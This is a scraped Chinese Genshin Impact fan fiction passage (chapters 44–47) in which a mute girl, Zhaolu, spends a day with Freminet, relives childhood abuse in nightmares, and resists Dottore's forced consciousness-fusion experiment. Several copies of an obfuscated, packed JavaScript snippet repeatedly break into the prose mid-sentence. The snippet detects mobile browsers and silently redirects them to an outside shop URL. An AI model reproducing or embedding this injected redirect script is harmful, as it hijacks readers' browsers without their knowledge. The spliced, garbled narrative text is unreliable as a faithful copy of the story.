l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16236170|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹洋葱汤。你坐在店里使用刀与叉把它们都消灭干净。 不得不说,能够请一天假去吃自己想吃的东西是很不错的体验。只是,不知道为什么,在喝着洋葱汤的时候,你总是会忍不住回想在布法蒂公馆的那个短暂的夜晚。 并不特别的、回忆也没什么亮点的夜晚,除了透过记忆还仿佛能够体会到的壁炉的温暖。 * 之后你再回去工作,工作量已经恢复成了原样。从你那群敢怒不敢言的“同事”脸上,你似乎能看出几分不忿的神色。 想请假的话自己去请。写字跟他们沟通也是会累的,你目不斜视地路过了那群活泼到像是随时都能用表情来演戏的同事。 “那个……朝露!博士大人交代你一个月之后去这个地点找他。”在你完成了当天工作、站起身准备回住所的那一刻,你的一个长得有点眼熟的同事叫住了你,色厉内荏地对你说出了上面那番话。 一个月之后……这个地点……好的,你知道了,大概,这就是那个“摊牌”的时候了,关于那位科学家对你的所求。你眨眨眼,疑惑这位同事说完话了怎么还不让开。 要知道,现在是你的下班时间,要是迟了你就只能等下一趟巡轨船回你的住处了。 “你、你会去的吧?你一定会去的吧!”那位同事在你的眼神示意没有让开你的路,反而再三向你询问。 ……看来和这位同事的交流不能简化到眼神层面,你略有遗憾地点了点头表达你的意思,就见那位同事神情激动地拉过旁边的人说“你看到了吧?她可是同意了的,到时要是她没去绝对不是我没通知到啊,你要给我作证!”你看着他一连拉了好几个人来确认。 当那位同事拉住其他人的时候,你就已经飞快地跑掉了。 - 你以为在这一个月之内,你会维持着这种平时去工作、名义上无休假但你可以时不时请两天假去随便做点什么都好的平静生活,直到你收到了一封信,一封来自布法蒂公馆的信。 落款是菲米尼的信。 你:? 这么快就用到你了吗?也不是不行,让你看看是什么事情。你一边从画有猫咪和企鹅图案的信封里抽出信纸,一边思考当这份工作结束后你要去哪里、要干点什么。 是的,你并不打算一直住在这个地方,尽管那位科学家跟你说的是“放心,从现在起,它名义上就是你的房子了。”也一样。他不会真的当你什么都没发现吧?关于你现在住的是凶宅这种事情。 多半还是发生过命案的那种。 你在来到这栋房子的第一眼就发现了它有问题。但,对那时的你来说,这是你可以获得的最方便的住所。而且没什么邻居,你能够很轻易地融入人群。于是你略过了天花板上呈飞溅状的疑似清除血液而留下的异样,忽视了客房里仿佛有什么在里面打斗、而又拖拽的痕迹。 你只是来这里暂住一段时间,而这个时间不定,仅此而已。 44.枫丹篇-13 离开了这里之后,你的未来会是什么样的?说实话,你自己也不太清楚这个问题的答案。只要未来的你能够接受,那么什么样的都可以。 而现在,你还要着眼于当下,还要完成自己过去的承诺。 菲米尼会让你帮什么忙?合法的还是非法的?去吸引注意力创造空隙还是给什么事情收尾?算了,无论是什么你都会视情况来完成的。简单来说,做是会做的,做成什么效果就不保证了。 你展开信纸,略过前面无意义的称谓和寒暄,目光直接扫向正文的内容。有点出乎意料……内容没有说要你帮什么忙,只是问你这周末有没有空。可以的话,他希望能约你一起在枫丹廷逛逛。 你:? 枫丹廷,有什么特别到需要菲米尼约你去逛的地方吗。不同于你那对这个枫丹首都充满无限幻想的父母,你对枫丹廷的态度和对其他地方的态度没有不同。 不管怎么说,枫丹廷和其他城市、村落都是人聚在一起形成的各种形态:如同蝴蝶的翅膀,有的翅膀带有磷粉,碰了能让人的手开始腐烂;有的花纹状似眼睛;有的和其他同类明显不同、能够拟态为枯叶。 枫丹廷再怎么特别,对你而言也只是蝴蝶群中一只略微显眼的蝴蝶。 不过,这是菲米尼的来信。是他给你写的第一封信。于是,不理解但尊重菲米尼想法的你还是同意了那个把你从深海中救起的少年的提议。 此时,离那位同事通知你的“一月之期”,还有一个星期。 - 菲米尼和朝露约好的这天,并没有迎来一个晴朗的好天气。或者、只是像现在这样眼前一片白茫茫的雾而没有直接下雨已经算是好天气了? 淡金色发的少年站在枫丹廷与其他城镇的交通口,默默等待着那个红发小女孩的出现。时间一分一秒地流逝,菲米尼低下眼睫盯着自己的脚尖。 ……这种人来人往的地方,要等一个特定的人,好麻烦。守在一个地方等某个人出现这种事情对菲米尼来说不是难事,但他更习惯的是自己守在暗处,而不是暴露在大众的视野里。 等到朝露来了,大概就不会这样坐立不安了吧,菲米尼想,安静地观察从港口下来的人,观察这里面有没有一个有着红色头发、黑色眼睛的小女孩。 此时,距离约定的时间还有十五分钟。 菲米尼偶尔垂下眼帘、偶尔视线逡巡一圈寻找目标,直到一只小小的手抓住他的衣摆轻轻拽了拽。 !没有察觉到有人靠近……?!菲米尼顺着力道望去,思考是不是被仇人找上门来,会是有谁知道他也是愚人众的人所以特意来报复的吗,但壁炉之家平时都很低调。 如果是敌人的话,最好在朝露来之前解决掉,之后还要把这个消息传给林尼和琳妮特还有壁炉之家的其他家人才行。这样想着,菲米尼缓慢眨了眨苍蓝色的眼睛,如同即将捕猎的企鹅,笨重的身体和看起来缓慢又呆呆的动作,却能在一瞬间用尖尖的喙叼住大鱼。 然而,映入菲米尼眼帘的,是一个红色的脑门,垂在脸侧的红色碎发在微小的风中轻轻摆动,一双漆黑的眼睛与少年对视,眼睛里流露出的眼神莫名的熟悉。 是朝露。 也许,琳妮特喜欢朝露不是没有理由的,菲米尼一边把手向朝露递出示意对方牵着自己的手,一边默默地想,这个眼神,完全就是琳妮特看犯傻的林尼的翻版呢。 * 你的生物钟在工作之后依然没变。你不是一个喜欢赖床的人,即便在自己可支配的自由时间也会更喜欢做自己想做的事,而不是躺在床上补觉。 菲米尼跟你约的时间不算早,可能是考虑到你是个小孩子,睡眠时间会更长的因素。因此,时间完全来得及让你按自己的时间起床并吃了一顿不难吃的早饭再慢悠悠地搭上前往枫丹廷的巡轨船。 白色的雾气弥漫在人的视野中,吹来的风微凉,空气中弥漫着湿漉漉的气息。你于这潮湿又空旷的世界里一眼望见了那个并不显眼的淡金色发的少年。 你走到了菲米尼的身边,停住脚步,对方没有察觉到你的到来。是你的脚步声太小了吗,你已经习惯了放轻脚步,足尖、足跟、足面于立足之地的接触,着力点和你身体重心的变化,接触时微小的形变。 尽管以你的年龄,以你能接触到的知识,你不一定能用准确无误的描述来概括你感受到的内容,但要如何利用这些你感受到的信息去达成你的目的……你已经明白。 不需要言语去沟通,不需要谁对你教导,你的骨子里本就埋藏着这样的本能,在你的身体里游走。 在绝大多数时候,只有保持安静的人才能活下来,只有让他人忽视了自身存在的人才能免于更多的苦难。例如当你的那位父亲深夜醉酒归来的时候,你就决不能让他意识到你在看着他,你在[注视]着他。 不同于过去的处境,现在在你面前的是菲米尼,是和你约好了要一起逛枫丹廷的内向少年。 于是,你伸出手拽了拽他的衣角,看他像是发现身后有一根黄瓜的猫一样,要是有尾巴的话,大概尾巴会变成鸡毛掸子吧,你对菲米尼做出点评,眼睛仍与意识到是你之后脸上神情呆呆的菲米尼对视。 “……走吧,今天跟着我走就可以。”菲米尼朝你伸出手,你能看出对方的不自在,但他始终压制住自己想要退缩的本能,同样用他那双苍蓝的如同雾霭的眼睛与你对视。 在那个瞬间,你好像意识到,一旦你把手放上去,有什么事情就会永久地改变。你不知道那件会发生改变的事情是什么,不知道这种变化是好是坏。你能知道的只有,你仿佛站上人生的分岔口,选择了就无法回头。 你似乎能听到自己胸腔里心脏怦怦跳的声音,似乎能听到身体里血液加速流淌的声音,但你的大脑却出乎意料的清醒,或者说,从来都没有这么清醒。 一只小小的手放到了另一只戴着半截的露四指的手套的手上面,手上传来布料与皮肤的双重触感,你没有看向交叠的双手,而是依然抬着头,把菲米尼脸上在感知到你的手放上去后出现的小小笑容映在你的视网膜上。 你想,你大概会记得这个笑容,记得很久。 -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16273530|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 或许不需要感到惊奇,菲米尼和你的这趟旅程并不喧闹。 你们就只是牵着手,在这个充满时尚气息的城市里走走停停,遇到感兴趣的就停下脚步,更多的时候在漫无目的地走,如同海里的两尾鱼儿随波漂流。 在餐馆里,菲米尼要了一份白淞鲜汤,和他当初买给你的那份一样。你对食物没有太多要求,只不作声地点了份炸鱼薯条。 “下次,给你尝尝我做的白淞鲜汤。”点的食物被送上来时,菲米尼一边小声地对你这样说,一边把他的那份汤分了你一半。你垂眸,把自己的那份炸鱼薯条也向他推了推。 普通的一次行程。好像可以放空脑子什么也不想,如同你从时空的长河里跑出来,偷得浮生半日闲。你眨眨眼,无声地进食。 当你和菲米尼离开餐馆时,你们意外遇见了林尼。 “嗯?是菲米尼和朝露啊。”头上戴着一顶黑色礼帽的林尼看到你们,眼里同样闪过一抹意外之色。很快,那张很有少年感的面庞上展开了他一贯的笑意:“让我想想,要怎么感谢朝露之前给我送的那份甜点呢?”说着,走到你们面前的林尼露出苦恼的神情。 你和菲米尼静静地看着林尼。 “有了。那么……”完全不需要你们搭话,做出冥思苦想模样的少年忽然对你眨了眨眼睛,右眼下的泪状图案仿佛也跟着他一起发光。只见林尼打了个响指,接着优雅的从头上取下他的魔术帽,单手提着帽檐把帽子里的东西递到你面前:“这就当做是我的回礼吧~” 你看了看菲米尼,又看了看林尼,才伸出手从帽子里拿起那份打了精美包装的甜品,透过镂空的外表,你依稀能看到里面错落有致的酒红色。 随着你接过礼物,林尼重新戴回帽子:“接下来就不打扰你们啦。对了,朝露,欢迎你下次来布法蒂公馆玩哦。”脸上贴着泪状图案却总是微笑的少年离别前这样对你说。 林尼走是走了,留下你和菲米尼两个人面面相觑。 好半晌,菲米尼率先轻声开口:“这份,应该是林尼的特制软糖[方块戏法],你可能会喜欢。”软糖吗,你不可置否。 说起来,你好像没在林尼身边看到你眼熟的那个猫耳少女,她的名字是琳妮特吧。 * 天色逐渐暗淡,没过多久你和菲米尼不知不觉来到了菲米尼一开始被你吓了一跳的地方。 你该回去了,手上提着林尼给的小袋子的你用眼神对菲米尼示意。菲米尼却露出略有踌躇的样子,轻呼了一口气才对你说道:“下次再邀请你的话,你会来吗。” 你看着他的眼睛,在里面看到了期待。 啊……这样吗……你的手刚要往写字板所在的地方探去,“呜——呜——”你回程的巡轨船到站了。于是,你没有给他答复就上了船,只给他留下一个招手后就转过身的背影。 - 巡轨船载着朝露离开了,只留下一个微微扬起嘴角的菲米尼。 他知道,朝露下次也会应约而来的。菲米尼看到了朝露那头红发上若隐若现的酒红色发带。 45.枫丹篇-14 这样的旅程,会不会显得太过平淡,如同白开水一般,甚至还没枫丹周围的海水来得有滋味?坐在开往住处的巡轨船里,船身推开水波前行,船舱里能感受到轻微晃动的你垂下眼眸。你不知道别人会给出怎样的答案,但你可以肯定地给出你的回复:不会。 只需要两个人安静地一起四处走走,不用去思考别人的意图、自己的下一步又是什么,这样的时刻对你来说已经弥足珍贵。 这个世界上,会有人喜欢站在舞台中央抬起头颅迎接所有人的目光,会有人喜欢站在幕布的阴影处享受独处的时光。你只是恰好,更偏爱静默。 - 呼…… 哈…… 没有光亮的房间里,小女孩皱着眉头,喉咙中溢出些微喘息,额头上全是冷汗。她不知不觉地蜷起身躯,如同麻杆一般纤细的双手抱住自己的膝盖,似乎想要通过这样的动作从自己身上汲取一丝温暖。 对小女孩而言,这只是一个再普通不过的夜晚,一个和过去别无二致的、充斥着各种千奇百怪又千篇一律的梦魇的夜晚。 有很多的想法、有像泡泡一样飘满天的好奇,然后又看着它们一个个摔碎在地上。对那个能跑能跳、能说能笑的小朝露来说,这就是她的日常。再怎么聪明,朝露也是经过了一番自己的学习与摸索才变成现在这样。她确实聪明,却没有到什么东西都“生而知之”的地步。 那个小朝露不明白,为什么她提出的问题得不到回答?为什么父母对她的态度不像是书上所写的“父母对孩子的天然的无私的爱”?为什么,只是发出声音都会被打。 也许应该感到庆幸,朝露没有“生而知之”却又很聪明,很快摸索出了在父母身边的“生存之道”。她学着变得安静,学着做各种家务,学着要怎么在各种冗杂的家务中为自己腾出喘息的空间。 她以为只要她这么做,一切就会变好。她以为只要她是个“好孩子”,迟早有一天她也可以被父母抱进怀里。 可是没有,天真的小女孩不知道,就算她变得安静,她黑白分明的眼睛也会流露出她父母讨厌的那些东西。直到那一次发烧,烧得透彻心扉的温度席卷她的全身,昏昏沉沉的朝露终于接受了自己是个不被爱的人这个事实。 当再次醒来,朝露发现自己再也说不了话的时候,面对父母难得的问候,她飞快地接受了这个噩耗,连她自己都没有意识到当她得知自己变成哑巴时心里一闪而过的疼痛的快慰。 朝露开始变得更加从容,开始不再对别人抱有无谓的希冀——只要相信她自己就足够了,其他的都无关紧要。朝露变得像大人一样成熟而理智。但那个会提出各种稀奇问题的小女孩从未离去,她依然活在朝露的心里,活在朝露的潜意识里,带着那些伤痛一起。 天性敏感的人如何变得麻木?当你第一次用刀子扎她的心脏,她会瑟缩、会反抗、会泪水如同断了线的珠子般簌簌往下掉;当你第一千零一次、第一万零一次用刀子扎她的心脏,她会对苦痛习以为常。 记得这些会很痛苦,这些记忆上附着的情绪很痛苦,痛苦到不断思考倘若人生都是这样的话,活着的意义又是什么呢。不知不觉,思考着思考着思考到触发身体的自我保护机制。 记得会很痛苦的话,就把它们忘掉吧。如同遭受过严重创伤的人在恢复正常后会自动遗忘相关的细节,朝露逐渐发现自己好像记不清以前的一些事情了。但这是不对的,朝露执拗地想。 就算记得会很痛苦,这些也是她的东西,是她的东西,那就哪怕坏了也不该丢掉,而是让她把这些坏掉了的东西嚼碎了咽进肚子里。 就算痛苦,也是她的。 属于她的东西本来就不多,所以哪怕是痛苦,朝露也决不允许被夺走。 当二者冲突,铭记意味着她会被自己藏匿的情绪压垮,她可能见不到第二天的太阳,以往却意味着她要亲手舍弃自己的一部分。 为了活着,要丢掉自己吗。 这次是丢掉痛苦的自己,下次要丢掉的又是什么?把自己一次又一次地丢掉,活下来是什么呢,只有一具名为“朝露”的躯壳吗。朝露叩问自己:你真的,真的要把那部分的痛苦、连带着那部分的你一起丢掉吗。 她一定有办法的,朝露捏着自己的手指,直到指节青白。她自己一定能想到办法的。 * 于是,正如提瓦特有白天与黑夜之分,朝露白天努力地存活,夜晚再在梦里咀嚼自己的痛苦。 而梦里的痛苦并不固定,它会随着朝露的经历而变化。过去是常常梦到被掐住脖子又甩到一边,弓起小小的身子咳嗽的自己,离开了之后会梦到走在路上被人从身后套住带走的自己,被野兽分食的四分五裂的自己。 这些梦不止是痛苦,同样是她所推测出的各种各样的可能性,与她的生命等长。在这么多种终结的可能性里,白天的她都让自己活了下来。 这样就够了。 - 这晚,朝露梦到的是她坠海的那天。不同于现实,梦里的朝露没有遇到菲米尼,没有被救上来,她的人生止步于离开那里之后的不到一天,她没有走出那附近的海域。 那个朝露沉沦在深不见底的海里,永远停止了呼吸。 口鼻皆被海水淹没的窒息感再度袭来。现实中的朝露一边挣扎着,一边陷入梦魇。 这样子,是不是太难看了。每天都像是在走钢丝,不知道什么时候一个错步就会从高处落下,摔得粉身碎骨。有时候朝露也会思考自己的现状,但无论多少次,她得出的答案都没有变。 没关系,日复一日的痛苦也可以,在她找到她活着的意义之前,她会一直忍耐着等到那个时刻到来的,她会努力活下去的。 * 时间不因人的意志转移,很快,到了那位邀请你来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16296080|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的科学家托人跟你说好的这天。 这一天,你不用去工作,而是前往另外一个地方单独与那位科学家碰面。 你不知道迎接你的会是什么,但要去赌这位科学家的人性吗?你不会做这种事。你明白一个道理:当你获得一百的薪酬,那意味着你必定已经付出价值超过一百的劳动、或者说你会被拿走更多。 主动权在谁的手里,谁都会攫取更多的利益。 - 你早早地起了床,一番洗漱清理掉入梦后的痕迹,习以为常地站在窗前吃着热好的蒜香面包棍,看窗外淅淅沥沥的雨落下。 看来,今天也是个雨天。 你拿起放在门口的手柄处有猫猫头图案的雨伞出了门,用来和他人交流的写字板和之前在小镇获得的玉佩都被你带在身上。 “啪嗒”一声,你于屋檐下抬起伞用伞尖将屋门关上,撑开伞走向巡轨船会停下的地方,雨水不断地打在伞面上,伞下的你听到二者碰撞发出的咚咚声。 希望和那位科学家的事情能快点解决,你今天可不只有他的邀约。站在河岸边等巡轨船来的你打了个呵欠想到,菲米尼也约了你今天去布法蒂公馆的,你没有拒绝。 嗯……下一份工作要做什么好呢?继续和你现在做的这方面工作有关?还是去尝试其他工作?都可以吧,等你辞职之后再慢慢想也不迟。 突如其来地,你的脑海里浮现出那位科学家看向你时脸上出现的意味不明的笑容。 过多的担忧和设想并无意义,你垂下眼眸,如果说对方不是个好人,你也不见得是个好孩子。到了必要的时候,你不会对他手软,当然,理想情况是对方只是找你探讨某些合理的问题,你付出你的劳动,取得你的薪酬。 只是,你有预感,这一趟怕不会是如你所愿了。 * 循着对方给出的地址,你抵达了一个破败的小镇。这是一个分布在海岸线上的小镇,你到的时候还在海岸边看到了几只因为下雨导致的缺氧而跑到岸上的重甲蟹,它们正挥舞着钳子来回走动。 你简单地站在小镇前大致看了一眼这不算大的小镇,有的房子屋顶明显缺了一块,有的房子的墙角生长出青黄色的苔,供人行走的路面也因为年久失修而凹凸不平。看上去,这就是一个普通的落魄的小镇。 你单手撑着伞抬腿走进小镇的入口,眼里没有波澜。 ……气味不对。 这不是破败的房屋应有的味道。虽然在你知道那位科学家把见面地点约在这里时就应该明白这里不会是随便的一个地方就是了。 会有什么惊喜呢,那位被手下成为“博士”的科学家为你准备了什么?是一道难题,还是一把利刃呢。你牵了牵嘴角,佩戴在腰间的玉佩发出微弱的白光,无风自动。 那位“博士”大人的目的,就让你好好看看吧。你没有转身逃离,径直走向前方。 46.枫丹篇-15 你走向约定的地方,步履依然不轻不重、不急不缓的从容。风逐渐变大,你鼻尖嗅到似是青苔的霉味,又像是海的咸腥与苦涩。 被发带束在身后的发尾随着你的走动晃出红色的痕迹,直到走进一个房子,通向地下的入口直截了当地呈现在你面前。你定定地看着这个入口,眼轮匝肌随着你的视线被牵动,更显得你漆黑的眼眸无端地透出非人的恐怖。 半晌,你才如同接上电源的机器人一般有了反应。只见你拎着伞的手腕微微下压将伞柄抵在自身的骨头上,单手完成了收伞的动作,伞面的雨水也因此汇集到伞尖,滴落到地面上。 你走进了这个洞口,一路留下水痕。 - 愚人众的第二席,[博士],曾为至冬女皇带回雷与草元素的神之心,现在投身于自己的各种实验与研究之中。 说他的实验与研究有违人伦、说他指使魔龙袭击蒙德又自己出来当“救世主”太过卑鄙?多托雷丝毫不放在心上。就算那些“受害者”有意见又如何?他不在意,啊,说不定会惋惜这些实验品没能撑到下一次实验?不过没关系,死亡也是一种实验结果,他依然能从中得到很多数据。 至于有人在背后咒骂他会受天谴、遭报应?多托雷懒得理会。他是研究出能让普通人拥有强悍力量的邪眼的科学家,他是把自己也切片出许多个[博士]的“疯子”。邪眼透支寿命的代价、灵魂分裂的痛楚和切片准备的艰辛等等,这些都不重要,只是实验过程中必要的耗材罢了。 说起来,好像之前有个蒙德人特意来找他“报仇”呢。似乎是因为……他的父亲因邪眼而死?他和他的父亲都有着一头很纯正的红发呢,就像今天要和他见面的这个孩子一样。 大概是因为曾经在须弥销毁了自己的其他切片,又或许是因为等待的过程会发酵出奇妙的产物?回想起那段往事,多托雷对着自己记忆里的那个蒙德人发出叹息,他还记得那个人的眼神,暗红的眼眸仿佛被仇恨与怒火点亮,嗯,从他父亲那里得到的邪眼也用得很熟练。 视他做仇人,孤身一人想要来复仇的蒙德人,真是令人感动的情感啊。可惜,至冬国不相信眼泪。想到这里,多托雷的嘴角流露出笑意,不知道今天那个同样有着红发的小女孩会不会给他带来超出意料的实验数据呢? 一个和纯水精灵同行的无家可归的小女孩。没记错的话,名字是叫“朝露”吧。 关于纯水精灵是枫丹人的前身这件事,多托雷是知道的。他同样知道纯水精灵之间进行意识与思想的融合。那么,把现在枫丹人的灵魂与纯水精灵的灵魂强行融合会发生什么? 特立独行的小女孩和在伙伴纷纷离开枫丹时仍留下来的纯水精灵,结果一定也和其他的耗材不同吧。 意识与个体之间真如普遍认知的那样是一对一的关系吗?如果当真是这样,为什么他可以切出不同时间段的自己?两个不同的个体融合为一个新的个体会碰撞出怎样的火花? 如果把人与神明的意识相融合,又会有怎样的结果?是一方对另一方的吞噬、双方的共生还是寄生? 多托雷不在意他人的评价,不在乎自己会获得的“回报”,他只是因为他想[知道],于是就去做了,仅此而已。 * “你来了。”当你走到这段路的终点,站在灯光下带着黑手套举起手中试管观测的有着薄荷蓝发色的科学家平静地说。说这话的时候他没有看向你,而是近乎迷恋地端详着手上试管里的液体。 你只是停下脚步,没有多余的回应。滚动漆黑的眼珠,你的目光停留在那管液体上。平心而论,这管液体的颜色放在世人的眼中也许能撑得上一句“好看”,如樱花般粉白的流动的液体。 可不知为何,你却仿佛在这管液体中看到仿佛沼泽想要吞噬踏足之物时翻滚的气泡,耳边似是传来谁人的哀嚎。 你微眯起眼,手不自觉放到腰间的玉佩上,掌心与碧绿的玉石相贴,入手的温润与冰冷让你把目光从试管上移到那位科学家脸上,恰好与他投来的视线相对。 “来,喝下这个吧。”他微笑着伸出一只手向你递出手中的试管,没有过多的解释与说明,就像是他知道你一定会按他所说的去做一样。 你没有接。 抬起头,脸颊边的碎发随着你动作的变动擦过你的脖颈,给你带来丝丝痒意。你没有去拨开自己的头发,没有做额外的动作,只是用自己的眼睛看着面前的人,神情看不出变化。 你知道的,和别人接触的时候,最重要的是明确你希望能达到怎样的效果以及你的底线。你对这位[博士]的所求已经结束,现在变成了他想让你按他的意图行事。 你可以做,前提是他说明这是什么,前提是你知道他的“所求”。你在天平的一端放上自己的筹码,对方倘若把一团迷雾放上天平的另一端会让你感到苦恼的:重量未知的筹码,要怎么才能使天平的两端平衡? 因此,你没有低下头去拿自己的写字板,没有靠近或是远离,你什么都没有做。你只是静静地等,等那团笼罩的迷雾散去,等第一次见面就邀请你、而后又托人把你约到这里来的科学家打破寂静。 就算什么都不说,他依然会明白你的意思的,你对这一点没有怀疑。 “嗯,是等我介绍今天的实验吗?可以。”尽管你没有接过试管,[博士]没有感到丝毫难堪。他施施然地收回自己拿着试管的手,猩红的眼睛看向你,嘴角带着似有若无的笑意:“你身上带着很有趣的东西。喝下它,你将能剥离出自己的意识,之后,我会把你和你玉佩里的意识融合的结果重新安放到你的身体里面的。” 完全不觉得自己说的话在别人听来有多离奇,这位想要让你剥离意识又去和其他意识融合的科学家继续着他蛊惑人心的话语:“难道,你就不想看看这样的你会变成什么样子吗?也许你会得到其他个体的记忆,你可能会拥有更强大的力量。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16302858|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >坦白来说,这段话对你真的很没有说服力。 剥离自己的意识、只为了让自己与另一个意识融合?虽然从他的话语里你得知了自己的玉佩里还有另一个意识这件事……但这不重要。是的,只要它不会干预到你,玉佩有没有意识并不重要。 而什么更强大的力量……更是无稽之谈。只谈论好处而不提及坏处可不是什么好习惯。不过你自己也可以猜想出来,[博士]把这称作“实验”,实验过程的损耗和误差是你在过去工作的一个月里见得多了的东西。 这一次,看来在这个所谓的“实验”里,损耗和误差都是你自己呢。 - 天平的两端没有平衡。 你不认为[博士]付出的东西具有让你剥离自己的意识、把它当作面团一样揉弄的价值,你不会答应进行这场实验。 如果真要说的话,你大概算是整个提瓦特里最爱你自己的人了吧。不期然的,明明是比较正式的场合,你却想到这样的东西。 天平没有平衡,你不会轻易把自己当作死物摆上实验桌。所以,你不会同意的。 于是,听完[博士]的话后,你对他摇了摇头,红色的扎有蝴蝶结的头发也跟着你在身后左右摆动。 见到你的反应,[博士]没有再继续劝说。他的脸上依然是那一副似笑非笑的意味不明的神情:“如果这是你的决定。”他说着,你听到周围传来沉闷的响声。“吱嘎”的声响此起彼伏,空间在摇晃,而这里冷白的灯光依旧。 四周的泥土逐渐脱落,你看到了那透明的器皿壁——这不是什么地底的洞穴,或者说它不只是洞穴。它从存在的那一刻起就天然地具有实验的目的。来路被落下的透明门扉锁住,“那么,只能我亲自动手了。”[博士]的话语灌进你的耳朵里。 他一步一步地朝你走来,动作不快,空气却变得焦灼。 你能看到[博士]肩膀上挂着的黑色鸦嘴面具,能看到他手上试剂管里的液面没有半点晃动,而最终停留在你视网膜上的,是他那双猩红的眼睛。 在笑吗?在惋惜吗?在兴奋吗?都没有。 无端地,你感知到面前这个人的想法。你的意愿、你的抵抗他全都不在意,因为在他的眼里,这场作用于你的实验必然进行。只要实验顺利进行,其他的都无关紧要。 并不感到抱歉,虽然他大概没有对你这个个体存在恶意、只是单纯地想要做实验,但你不会让他如愿的。眨了眨眼睛,你催动玉佩向周围的器皿壁发起攻击。如果只是为了不让实验现在进行,看起来似乎是把他手上的试管打碎来得比较干脆。 可你没有想过这样做。先不说打碎了之后他会不会把你的头按到地上让你喝掉那些流得四处都是的液体……你的视线扫过[博士]身后的铁柜。 对于一个实验人员来说,记录并备份自己的实验步骤和用具是再寻常不过的事情。说直白些就是,你不认为[博士]手上的试管是唯一一支。 47.枫丹篇-16 “噼啪”的声音在这个封闭的空间里响起,看似透明易碎的器皿壁在你的攻击之下毫发无伤。 这样的结果,不意外。你的眼睛盯着面前的[博士],唇微微抿起,两腿分开,曲起的小腿和抵住地面的足跟发力,你的整个人已经进入一种戒备的状态。不排除[博士]在修缮这里的时候脑子忽然坏掉选择了能让人轻易打碎的材料的情况,只是这种情况发生的可能性无限接近于零。 不知道为什么,虽然你没有说话也没有拿出写字板来协助交流,信息的误差却没有在你和[博士]之间产生。你一个下腰躲开从角落里袭来的锁链,手上驱使玉佩对博士发起攻击,被游刃有余地挡下。 这种感觉有点恶心了。你面无表情地想,漆黑的眼睛仍在注视着面前蓝发红眼的人,乍一看他抓不到你,你也伤害不到他,但只要拖下去,还没来得及长大的体力天然是劣势的你一定会露出破绽。你知道这一点,他也知道。看着对方如同欣赏困兽的眼神,你压了压眉,眼尾处透出似刀锋的凌厉。 你觉得恶心的那种感觉不是因为面前僵持的形势、或者说那只是表象?实际上,这更大程度上是指你们像是照镜子一样的思维,他不在意你的个人意愿,你不在意他的宏大设想,面对对方的拒绝又平静地接受做出自己的回应。灵魂折射出相同的冰冷。 ……应该不至于吧,成为[博士]这样的人。你觉得自己还是很有原则和底线的。你莫名有点迟疑。 这时,仿佛从你没有表情的脸上看出你在想什么,[博士]扬起嘴角,一点都不阳光还很不怀好意的笑容呈现在他的脸上:“你很有天赋,”他咏叹般说道:“如果你愿意,你可以成为我的助手,和我一起见证不同的实验过程。” 说着,[博士]弯起了他那双猩红色的眼眸。不得不说,有的人哪怕是微笑都会透露出阴森的冰冷。 成为“助手”?假如“助手”的定义是协助他完成实验与研究的人,那么躺上手术台的实验体算不算是助手?即便有“助手”的名号,谁能保证[博士]不会对他身边的人下手。 你不信任他。说得更准确一点,你不相信他会尊重你的生命。大概对于[博士]这样的人来说,整个提瓦特也不过是一个更大的实验室,他自己同样可以是他的实验品。 尽管不相信他的人性,对他会不会向他自己下手这一点你倒是不怀疑。 - 多托雷发出一声叹息。 果然,对待独自谋生的雀鸟,这种程度的诱骗是不可能起效的。遗憾地这样想,多托雷敛起唇边的笑意,先前弯起的眼眸重新睁开,上方冷白的灯光照射到他右肩的黑色鸦嘴装饰上。 那么,只能让他把这个小女孩抓到手里,再进行研究了。不知什么时候起,多托雷已经把面前红发的小女孩逼到了角落,头顶的灯照耀他的身体所形成的阴影完全地笼罩住朝露。 很不错,即便是自己没有胜算、被逼到现在这个境地也没有放弃。多托雷冷淡地点评,如果她死在研究里的话,倒是可以把她的眼睛挖出来当个摆件。 真漂亮。随手挥开那块碧绿的玉佩所发出的水刃,多托雷望着朝露漆黑的眼眸,即便是现在那张脸上也依然没有什么表情,眼睛里更没有什么熊熊燃烧着的仇恨的火焰。 像狼盯上猎物一样专注又紧咬不放的眼神。想要抗争到最后一刻吗?到此为止了,多托雷这样想,准备结束这猫抓老鼠的戏码。他能从朝露的脸上读出她不会配合实验、如果真的被拿来当实验体就会找到机会立刻死掉的决意。 假如发生在实验过程中,那确实有点麻烦。不过,实验也不一定需要朝露保存自己的意识。让玉佩上的意识在她的体内复生也好、干脆只留下生命体征也罢,真要说也只有观测方面的区别而已。 